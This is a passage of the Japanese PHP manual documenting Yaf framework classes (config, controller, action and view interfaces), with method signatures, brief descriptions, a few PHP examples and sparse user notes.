この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • ≪ Yaf_Config_Ini::rewind
  • Yaf_Config_Ini::toArray ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The __set purpose

Yaf_Config_Ini::__set

(Yaf >=1.0.0)

Yaf_Config_Ini::__set — The __set purpose

説明

public Yaf_Config_Ini::__set ( string $name , mixed $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


PHP の配列として構成を返す

  • ≪ Yaf_Config_Ini::__set
  • Yaf_Config_Ini::valid ≫
  • PHP Manual
  • Yaf_Config_Ini
  • PHP の配列として構成を返す

Yaf_Config_Ini::toArray

(Yaf >=1.0.0)

Yaf_Config_Ini::toArray — PHP の配列として構成を返す

説明

public Yaf_Config_Ini::toArray ( ) : array

Yaf_Config_Ini から PHP の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • ≪ Yaf_Config_Ini::toArray
  • Yaf_Config_Simple ≫
  • PHP Manual
  • Yaf_Config_Ini
  • The valid purpose

Yaf_Config_Ini::valid

(Yaf >=1.0.0)

Yaf_Config_Ini::valid — The valid purpose

説明

public Yaf_Config_Ini::valid ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Simple クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Config_Simple extends Yaf_Config_Abstract implements Iterator , ArrayAccess , Countable {
/* プロパティ */
protected $_readonly ;
/* メソッド */
public __construct ( array $configs , bool $readonly = false )
public count ( ) : void
public current ( ) : void
public __get ( string $name = ? ) : void
public __isset ( string $name ) : void
public key ( ) : void
public next ( ) : void
public offsetExists ( string $name ) : void
public offsetGet ( string $name ) : void
public offsetSet ( string $name , string $value ) : void
public offsetUnset ( string $name ) : void
public readonly ( ) : void
public rewind ( ) : void
public __set ( string $name , string $value ) : void
public toArray ( ) : array
public valid ( ) : void
/* 継承したメソッド */
abstract public Yaf_Config_Abstract::get ( string $name , mixed $value ) : mixed
abstract public Yaf_Config_Abstract::readonly ( ) : bool
abstract public Yaf_Config_Abstract::set ( ) : Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray ( ) : array
}

プロパティ

_config

_readonly

目次

  • Yaf_Config_Simple::__construct — コンストラクタ
  • Yaf_Config_Simple::count — The count purpose
  • Yaf_Config_Simple::current — The current purpose
  • Yaf_Config_Simple::__get — The __get purpose
  • Yaf_Config_Simple::__isset — The __isset purpose
  • Yaf_Config_Simple::key — The key purpose
  • Yaf_Config_Simple::next — The next purpose
  • Yaf_Config_Simple::offsetExists — The offsetExists purpose
  • Yaf_Config_Simple::offsetGet — The offsetGet purpose
  • Yaf_Config_Simple::offsetSet — The offsetSet purpose
  • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
  • Yaf_Config_Simple::readonly — The readonly purpose
  • Yaf_Config_Simple::rewind — The rewind purpose
  • Yaf_Config_Simple::__set — The __set purpose
  • Yaf_Config_Simple::toArray — PHP の配列を返す
  • Yaf_Config_Simple::valid — The valid purpose

User Contributed Notes

msn_and_i at hotmail dot com 15-Apr-2015 06:47
The Yaf_Config_Simple construct method parameters may be wrong documenting,  actually first parameter shoud be array and second is string indicating if readonly.


コンストラクタ

  • ≪ Yaf_Config_Simple
  • Yaf_Config_Simple::count ≫
  • PHP Manual
  • Yaf_Config_Simple
  • コンストラクタ

Yaf_Config_Simple::__construct

(Yaf >=1.0.0)

Yaf_Config_Simple::__construct — コンストラクタ

説明

public Yaf_Config_Simple::__construct ( array $configs , bool $readonly = false )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

configs

readonly

返り値

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • ≪ Yaf_Config_Simple::__construct
  • Yaf_Config_Simple::current ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The count purpose

Yaf_Config_Simple::count

(Yaf >=1.0.0)

Yaf_Config_Simple::count — The count purpose

説明

public Yaf_Config_Simple::count ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • ≪ Yaf_Config_Simple::count
  • Yaf_Config_Simple::__get ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The current purpose

Yaf_Config_Simple::current

(Yaf >=1.0.0)

Yaf_Config_Simple::current — The current purpose

説明

public Yaf_Config_Simple::current ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • ≪ Yaf_Config_Simple::current
  • Yaf_Config_Simple::__isset ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The __get purpose

Yaf_Config_Simple::__get

(Yaf >=1.0.0)

Yaf_Config_Simple::__get — The __get purpose

説明

public Yaf_Config_Simple::__get ( string $name = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • ≪ Yaf_Config_Simple::__get
  • Yaf_Config_Simple::key ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The __isset purpose

Yaf_Config_Simple::__isset

(Yaf >=1.0.0)

Yaf_Config_Simple::__isset — The __isset purpose

説明

public Yaf_Config_Simple::__isset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • ≪ Yaf_Config_Simple::__isset
  • Yaf_Config_Simple::next ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The key purpose

Yaf_Config_Simple::key

(Yaf >=1.0.0)

Yaf_Config_Simple::key — The key purpose

説明

public Yaf_Config_Simple::key ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • ≪ Yaf_Config_Simple::key
  • Yaf_Config_Simple::offsetExists ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The next purpose

Yaf_Config_Simple::next

(Yaf >=1.0.0)

Yaf_Config_Simple::next — The next purpose

説明

public Yaf_Config_Simple::next ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ≪ Yaf_Config_Simple::next
  • Yaf_Config_Simple::offsetGet ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetExists purpose

Yaf_Config_Simple::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetExists — The offsetExists purpose

説明

public Yaf_Config_Simple::offsetExists ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • ≪ Yaf_Config_Simple::offsetExists
  • Yaf_Config_Simple::offsetSet ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetGet purpose

Yaf_Config_Simple::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetGet — The offsetGet purpose

説明

public Yaf_Config_Simple::offsetGet ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • ≪ Yaf_Config_Simple::offsetGet
  • Yaf_Config_Simple::offsetUnset ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetSet purpose

Yaf_Config_Simple::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetSet — The offsetSet purpose

説明

public Yaf_Config_Simple::offsetSet ( string $name , string $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • ≪ Yaf_Config_Simple::offsetSet
  • Yaf_Config_Simple::readonly ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetUnset purpose

Yaf_Config_Simple::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetUnset — The offsetUnset purpose

説明

public Yaf_Config_Simple::offsetUnset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The readonly purpose

  • ≪ Yaf_Config_Simple::offsetUnset
  • Yaf_Config_Simple::rewind ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The readonly purpose

Yaf_Config_Simple::readonly

(Yaf >=1.0.0)

Yaf_Config_Simple::readonly — The readonly purpose

説明

public Yaf_Config_Simple::readonly ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • ≪ Yaf_Config_Simple::readonly
  • Yaf_Config_Simple::__set ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The rewind purpose

Yaf_Config_Simple::rewind

(Yaf >=1.0.0)

Yaf_Config_Simple::rewind — The rewind purpose

説明

public Yaf_Config_Simple::rewind ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • ≪ Yaf_Config_Simple::rewind
  • Yaf_Config_Simple::toArray ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The __set purpose

Yaf_Config_Simple::__set

(Yaf >=1.0.0)

Yaf_Config_Simple::__set — The __set purpose

説明

public Yaf_Config_Simple::__set ( string $name , string $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


PHP の配列を返す

  • ≪ Yaf_Config_Simple::__set
  • Yaf_Config_Simple::valid ≫
  • PHP Manual
  • Yaf_Config_Simple
  • PHP の配列を返す

Yaf_Config_Simple::toArray

(Yaf >=1.0.0)

Yaf_Config_Simple::toArray — PHP の配列を返す

説明

public Yaf_Config_Simple::toArray ( ) : array

Yaf_Config_Simple から PHP の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • ≪ Yaf_Config_Simple::toArray
  • Yaf_Controller_Abstract ≫
  • PHP Manual
  • Yaf_Config_Simple
  • The valid purpose

Yaf_Config_Simple::valid

(Yaf >=1.0.0)

Yaf_Config_Simple::valid — The valid purpose

説明

public Yaf_Config_Simple::valid ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract クラス

(Yaf >=1.0.0)

はじめに

Yaf_Controller_Abstract は Yaf システムの中心となるクラスです。 MVC は Model-View-Controller の略で、 アプリケーションのロジックと表示のロジックを切り離すためのデザインパターンです。

すべてのカスタムコントローラは Yaf_Controller_Abstract を継承する必要があります。

カスタムコントローラでは __construct を定義できません。そのため、 Yaf_Controller_Abstract ではマジックメソッド Yaf_Controller_Abstract::init() を用意しています。

カスタムコントローラで init() メソッドを定義すると、 コントローラのインスタンスを作成するときにそれが呼ばれます。

アクションには引数を持たせることができます。 リクエストが来たときに、もしリクエストのパラメータ (Yaf_Request_Abstract::getParam() を参照ください) に同名の変数があれば、Yaf はアクションのメソッド (Yaf_Action_Abstract::execute() を参照ください) にそれを渡します。

注意:

これらの引数は何もフィルタリングせずそのまま取り込まれるので、 実際に使う前には注意しないといけません。

クラス概要

abstract Yaf_Controller_Abstract {
/* プロパティ */
public $actions ;
protected $_module ;
protected $_name ;
protected $_request ;
protected $_response ;
protected $_invoke_args ;
protected $_view ;
/* メソッド */
final private __construct ( )
protected display ( string $tpl , array $parameters = ? ) : bool
public forward ( string $action , array $paramters = ? ) : void
public getInvokeArg ( string $name ) : void
public getInvokeArgs ( ) : void
public getModuleName ( ) : string
public getName ( ) : string
public getRequest ( ) : Yaf_Request_Abstract
public getResponse ( ) : Yaf_Response_Abstract
public getView ( ) : Yaf_View_Interface
public getViewpath ( ) : string
public init ( ) : void
public initView ( array $options = ? ) : void
public redirect ( string $url ) : bool
protected render ( string $tpl , array $parameters = ? ) : string
public setViewpath ( string $view_directory ) : void
}

プロパティ

actions

アクションメソッドを個別の PHP スクリプトとして定義することもできます。 そのときには、このプロパティと Yaf_Action_Abstract を利用します。

例1 別ファイルでのアクションの定義

<?php
class IndexController extends Yaf_Controller_Abstract {
    protected $actions = array(
        /** now dummyAction is defined in a separate file */
        "dummy" => "actions/Dummy_action.php",
    );

    /* action method may have arguments */
    public indexAction($name, $id) {
       /* $name and $id are unsafe raw data */
       assert($name == $this->getRequest()->getParam("name"));
       assert($id   == $this->_request->getParam("id"));
    }
}
?>

例2 Dummy_action.php

<?php
class DummyAction extends Yaf_Action_Abstract {
    /* a action class shall define this method  as the entry point */
    public execute() {
    }
}
?>

_module

モジュール名

_name

コントローラ名

_request

現在のリクエストオブジェクト

_response

現在のレスポンスオブジェクト

_invoke_args

_view

ビューエンジンオブジェクト

目次

  • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract のコンストラクタ
  • Yaf_Controller_Abstract::display — The display purpose
  • Yaf_Controller_Abstract::forward — 別のアクションに転送する
  • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
  • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
  • Yaf_Controller_Abstract::getModuleName — モジュール名を取得する
  • Yaf_Controller_Abstract::getName — Get self name
  • Yaf_Controller_Abstract::getRequest — 現在のリクエストオブジェクトを取得する
  • Yaf_Controller_Abstract::getResponse — 現在のレスポンスオブジェクトを取得する
  • Yaf_Controller_Abstract::getView — ビューエンジンを取得する
  • Yaf_Controller_Abstract::getViewpath — getViewpath の目的を書く
  • Yaf_Controller_Abstract::init — コントローラを初期化する
  • Yaf_Controller_Abstract::initView — The initView purpose
  • Yaf_Controller_Abstract::redirect — URL にリダイレクトする
  • Yaf_Controller_Abstract::render — ビューテンプレートをレンダリングする
  • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract のコンストラクタ

  • ≪ Yaf_Controller_Abstract
  • Yaf_Controller_Abstract::display ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • Yaf_Controller_Abstract のコンストラクタ

Yaf_Controller_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract のコンストラクタ

説明

final private Yaf_Controller_Abstract::__construct ( )

Yaf_Controller_Abstract::__construct() は final メソッドなので、 オーバーライドできません。 Yaf_Controller_Abstract::init() を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Controller_Abstract::init() - コントローラを初期化する

User Contributed Notes

There are no user contributed notes for this page.


The display purpose

  • ≪ Yaf_Controller_Abstract::__construct
  • Yaf_Controller_Abstract::forward ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • The display purpose

Yaf_Controller_Abstract::display

(Yaf >=1.0.0)

Yaf_Controller_Abstract::display — The display purpose

説明

protected Yaf_Controller_Abstract::display ( string $tpl , array $parameters = ? ) : bool

パラメータ

tpl

parameters

返り値

User Contributed Notes

There are no user contributed notes for this page.


別のアクションに転送する

  • ≪ Yaf_Controller_Abstract::display
  • Yaf_Controller_Abstract::getInvokeArg ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • 別のアクションに転送する

Yaf_Controller_Abstract::forward

(Yaf >=1.0.0)

Yaf_Controller_Abstract::forward — 別のアクションに転送する

説明

public Yaf_Controller_Abstract::forward ( string $action , array $paramters = ? ) : void
public Yaf_Controller_Abstract::forward ( string $controller , string $action , array $paramters = ? ) : void
public Yaf_Controller_Abstract::forward ( string $module , string $controller , string $action , array $paramters = ? ) : void

現在の実行プロセスを別のアクションに転送します。

注意:

このメソッドは、その場ですぐに次のアクションに切り替えるわけではなく、 現在の実行フローが終わってから次のアクションに転送します。

パラメータ

module

移動先のモジュール名。NULL を渡した場合はデフォルトのモジュール名と見なします。

controller

移動先のコントローラ名。

action

移動先のアクション名。

paramters

呼び出しの引数。

例

例1 Yaf_Controller_Abstract::forward() の例

<?php
class IndexController extends Yaf_Controller_Abstract
{
    public function indexAction(){
         $logined = $_SESSION["login"];
         if (!$logined) {
             $this->forward("login", array("from" => "Index")); // login アクションに転送します
             return FALSE;  // これが重要です。ここで現在の作業フローが終了し、
                            // Yaf に対して自動レンダリングをしないよう指示します。
         }

         // 別の処理
    }

    public function loginAction() {
         echo "login, redirected from ", $this->_request->getParam("from") , " action";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

   login, redirected from Index action

返り値

失敗した場合は FALSE を返します。

参考

  • Yaf_Request_Abstrace::getParam()

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArg purpose

  • ≪ Yaf_Controller_Abstract::forward
  • Yaf_Controller_Abstract::getInvokeArgs ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArg purpose

Yaf_Controller_Abstract::getInvokeArg

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose

説明

public Yaf_Controller_Abstract::getInvokeArg ( string $name ) : void

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArgs purpose

  • ≪ Yaf_Controller_Abstract::getInvokeArg
  • Yaf_Controller_Abstract::getModuleName ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArgs purpose

Yaf_Controller_Abstract::getInvokeArgs

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose

説明

public Yaf_Controller_Abstract::getInvokeArgs ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


モジュール名を取得する

  • ≪ Yaf_Controller_Abstract::getInvokeArgs
  • Yaf_Controller_Abstract::getName ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • モジュール名を取得する

Yaf_Controller_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getModuleName — モジュール名を取得する

説明

public Yaf_Controller_Abstract::getModuleName ( ) : string

コントローラのモジュール名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get self name

  • ≪ Yaf_Controller_Abstract::getModuleName
  • Yaf_Controller_Abstract::getRequest ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • Get self name

Yaf_Controller_Abstract::getName

(Yaf >=3.2.0)

Yaf_Controller_Abstract::getName — Get self name

説明

public Yaf_Controller_Abstract::getName ( ) : string

get the controller's name

パラメータ

この関数にはパラメータはありません。

返り値

string, controller name

User Contributed Notes

There are no user contributed notes for this page.


現在のリクエストオブジェクトを取得する

  • ≪ Yaf_Controller_Abstract::getName
  • Yaf_Controller_Abstract::getResponse ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • 現在のリクエストオブジェクトを取得する

Yaf_Controller_Abstract::getRequest

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getRequest — 現在のリクエストオブジェクトを取得する

説明

public Yaf_Controller_Abstract::getRequest ( ) : Yaf_Request_Abstract

現在のリクエストオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Request_Abstract instance

User Contributed Notes

There are no user contributed notes for this page.


現在のレスポンスオブジェクトを取得する

  • ≪ Yaf_Controller_Abstract::getRequest
  • Yaf_Controller_Abstract::getView ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • 現在のレスポンスオブジェクトを取得する

Yaf_Controller_Abstract::getResponse

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getResponse — 現在のレスポンスオブジェクトを取得する

説明

public Yaf_Controller_Abstract::getResponse ( ) : Yaf_Response_Abstract

現在のレスポンスオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Response_Abstract instance

User Contributed Notes

huangby19890920 at gmail dot com 19-Aug-2017 07:21
?方法有返回?，返回??
Yaf_Response_Http


ビューエンジンを取得する

  • ≪ Yaf_Controller_Abstract::getResponse
  • Yaf_Controller_Abstract::getViewpath ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • ビューエンジンを取得する

Yaf_Controller_Abstract::getView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getView — ビューエンジンを取得する

説明

public Yaf_Controller_Abstract::getView ( ) : Yaf_View_Interface

ビューエンジンを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


getViewpath の目的を書く

  • ≪ Yaf_Controller_Abstract::getView
  • Yaf_Controller_Abstract::init ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • getViewpath の目的を書く

Yaf_Controller_Abstract::getViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getViewpath — getViewpath の目的を書く

説明

public Yaf_Controller_Abstract::getViewpath ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


コントローラを初期化する

  • ≪ Yaf_Controller_Abstract::getViewpath
  • Yaf_Controller_Abstract::initView ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • コントローラを初期化する

Yaf_Controller_Abstract::init

(Yaf >=1.0.0)

Yaf_Controller_Abstract::init — コントローラを初期化する

説明

public Yaf_Controller_Abstract::init ( ) : void

Yaf_Controller_Abstract::__construct() は final メソッドなので、 オーバーライドできません。しかし、かわりに Yaf_Controller_Abstract::init() を定義できます。 これは、コントローラオブジェクトのインスタンスができた直後に呼ばれます。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Controller_Abstract::__construct() - Yaf_Controller_Abstract のコンストラクタ

User Contributed Notes

There are no user contributed notes for this page.


The initView purpose

  • ≪ Yaf_Controller_Abstract::init
  • Yaf_Controller_Abstract::redirect ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • The initView purpose

Yaf_Controller_Abstract::initView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::initView — The initView purpose

説明

public Yaf_Controller_Abstract::initView ( array $options = ? ) : void

パラメータ

options

返り値

User Contributed Notes

There are no user contributed notes for this page.


URL にリダイレクトする

  • ≪ Yaf_Controller_Abstract::initView
  • Yaf_Controller_Abstract::render ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • URL にリダイレクトする

Yaf_Controller_Abstract::redirect

(Yaf >=1.0.0)

Yaf_Controller_Abstract::redirect — URL にリダイレクトする

説明

public Yaf_Controller_Abstract::redirect ( string $url ) : bool

302 ヘッダを送出して、URL にリダイレクトします。

パラメータ

url

場所を表す URL。

返り値

bool

User Contributed Notes

There are no user contributed notes for this page.


ビューテンプレートをレンダリングする

  • ≪ Yaf_Controller_Abstract::redirect
  • Yaf_Controller_Abstract::setViewpath ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • ビューテンプレートをレンダリングする

Yaf_Controller_Abstract::render

(Yaf >=1.0.0)

Yaf_Controller_Abstract::render — ビューテンプレートをレンダリングする

説明

protected Yaf_Controller_Abstract::render ( string $tpl , array $parameters = ? ) : string

パラメータ

tpl

parameters

返り値

User Contributed Notes

There are no user contributed notes for this page.


The setViewpath purpose

  • ≪ Yaf_Controller_Abstract::render
  • Yaf_Action_Abstract ≫
  • PHP Manual
  • Yaf_Controller_Abstract
  • The setViewpath purpose

Yaf_Controller_Abstract::setViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

説明

public Yaf_Controller_Abstract::setViewpath ( string $view_directory ) : void

パラメータ

view_directory

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Action_Abstract クラス

(Yaf >=1.0.0)

はじめに

アクションは、Yaf の個別のファイルで定義します (Yaf_Controller_Abstract を参照ください)。 アクションメソッドには Yaf_Action_Abstract クラスも使えます。

Yaf から呼び出すためのエントリポイント (PHP 5.3 以降は新たなマジックメソッド __invoke が使えます。 しかし Yaf は PHP 5.3 以降専用ではないので、そのときには 実行するマジックメソッドを別に選択します) が必要なので、抽象メソッド Yaf_Action_Abstract::execute() をアクションクラスで実装する必要があります。

クラス概要

Yaf_Action_Abstract extends Yaf_Controller_Abstract {
/* プロパティ */
protected $_controller ;
/* メソッド */
abstract publicexecute ( mixed ...$args ) : mixed
publicgetController ( ) : Yaf_Controller_Abstract
public getControllerName ( ) : string
/* 継承したメソッド */
final private Yaf_Controller_Abstract::__construct ( )
protected Yaf_Controller_Abstract::display ( string $tpl , array $parameters = ? ) : bool
public Yaf_Controller_Abstract::forward ( string $action , array $paramters = ? ) : void
public Yaf_Controller_Abstract::getInvokeArg ( string $name ) : void
public Yaf_Controller_Abstract::getInvokeArgs ( ) : void
public Yaf_Controller_Abstract::getModuleName ( ) : string
public Yaf_Controller_Abstract::getName ( ) : string
public Yaf_Controller_Abstract::getRequest ( ) : Yaf_Request_Abstract
public Yaf_Controller_Abstract::getResponse ( ) : Yaf_Response_Abstract
public Yaf_Controller_Abstract::getView ( ) : Yaf_View_Interface
public Yaf_Controller_Abstract::getViewpath ( ) : string
public Yaf_Controller_Abstract::init ( ) : void
public Yaf_Controller_Abstract::initView ( array $options = ? ) : void
public Yaf_Controller_Abstract::redirect ( string $url ) : bool
protected Yaf_Controller_Abstract::render ( string $tpl , array $parameters = ? ) : string
public Yaf_Controller_Abstract::setViewpath ( string $view_directory ) : void
}

プロパティ

_module

_name

_request

_response

_invoke_args

_view

_controller

目次

  • Yaf_Action_Abstract::execute — アクションのエントリポイント
  • Yaf_Action_Abstract::getController — コントローラオブジェクトを取得する
  • Yaf_Action_Abstract::getControllerName — Get controller name

User Contributed Notes

There are no user contributed notes for this page.


アクションのエントリポイント

  • ≪ Yaf_Action_Abstract
  • Yaf_Action_Abstract::getController ≫
  • PHP Manual
  • Yaf_Action_Abstract
  • アクションのエントリポイント

Yaf_Action_Abstract::execute

(Yaf >=1.0.0)

Yaf_Action_Abstract::execute — アクションのエントリポイント

説明

abstract publicYaf_Action_Abstract::execute ( mixed ...$args ) : mixed

このメソッドは、アクションで常に定義しないといけません。これがアクションのエントリポイントになります。 Yaf_Action_Abstract::execute() は引数をとることもあります。

注意:

リクエストから取得した値は安全ではありません。 使う前にフィルタリングが必要です。

パラメータ

args

返り値

例

例1 Yaf_Action_Abstract::execute() の例

<?php
/**
 * A controller example
 */
class ProductController extends Yaf_Controller_Abstract {
      protected $actions = array(
          "index" => "actions/Index.php",
      );
}
?>

例2 Yaf_Action_Abstract::execute() の例

<?php
/**
 * ListAction
 */
class ListAction extends Yaf_Action_Abstract {
     public function execute ($name, $id) {
         assert($name == $this->getRequest()->getParam("name"));
         assert($id   == $this->getRequest()->getParam("id"));
     }
}
?>

上の例の出力は、 たとえば以下のようになります。

/**
 * Yaf_Route_Static を使っているものとします。
 * http://yourdomain/product/list/name/yaf/id/22
 * にアクセスした結果は次のとおり。
 */
 bool(true)
 bool(true)

参考

User Contributed Notes

There are no user contributed notes for this page.


コントローラオブジェクトを取得する

  • ≪ Yaf_Action_Abstract::execute
  • Yaf_Action_Abstract::getControllerName ≫
  • PHP Manual
  • Yaf_Action_Abstract
  • コントローラオブジェクトを取得する

Yaf_Action_Abstract::getController

(Yaf >=1.0.0)

Yaf_Action_Abstract::getController — コントローラオブジェクトを取得する

説明

publicYaf_Action_Abstract::getController ( ) : Yaf_Controller_Abstract

現在のコントローラオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Controller_Abstract のインスタンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


Get controller name

  • ≪ Yaf_Action_Abstract::getController
  • Yaf_View_Interface ≫
  • PHP Manual
  • Yaf_Action_Abstract
  • Get controller name

Yaf_Action_Abstract::getControllerName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Yaf_Action_Abstract::getControllerName — Get controller name

説明

public Yaf_Action_Abstract::getControllerName ( ) : string

get the controller's name

パラメータ

この関数にはパラメータはありません。

返り値

string, controller name

User Contributed Notes

There are no user contributed notes for this page.


Yaf_View_Interface クラス

(Yaf >=1.0.0)

はじめに

Yaf では、組み込みのビューエンジン Yaf_View_Simple のかわりにカスタムビューを自作できるようになっています。 その実例は、 Yaf_Dispatcher::setView() を参照ください。

クラス概要

Yaf_View_Interface {
/* メソッド */
abstract public assign ( string $name , string $value = ? ) : bool
abstract public display ( string $tpl , array $tpl_vars = ? ) : bool
abstract public getScriptPath ( ) : void
abstract public render ( string $tpl , array $tpl_vars = ? ) : string
abstract public setScriptPath ( string $template_dir ) : void
}

目次

  • Yaf_View_Interface::assign — 値をビューエンジンに代入する
  • Yaf_View_Interface::display — テンプレートをレンダリングして出力する
  • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
  • Yaf_View_Interface::render — テンプレートをレンダリングする
  • Yaf_View_Interface::setScriptPath — The setScriptPath purpose

User Contributed Notes

There are no user contributed notes for this page.


値をビューエンジンに代入する

  • ≪ Yaf_View_Interface
  • Yaf_View_Interface::display ≫
  • PHP Manual
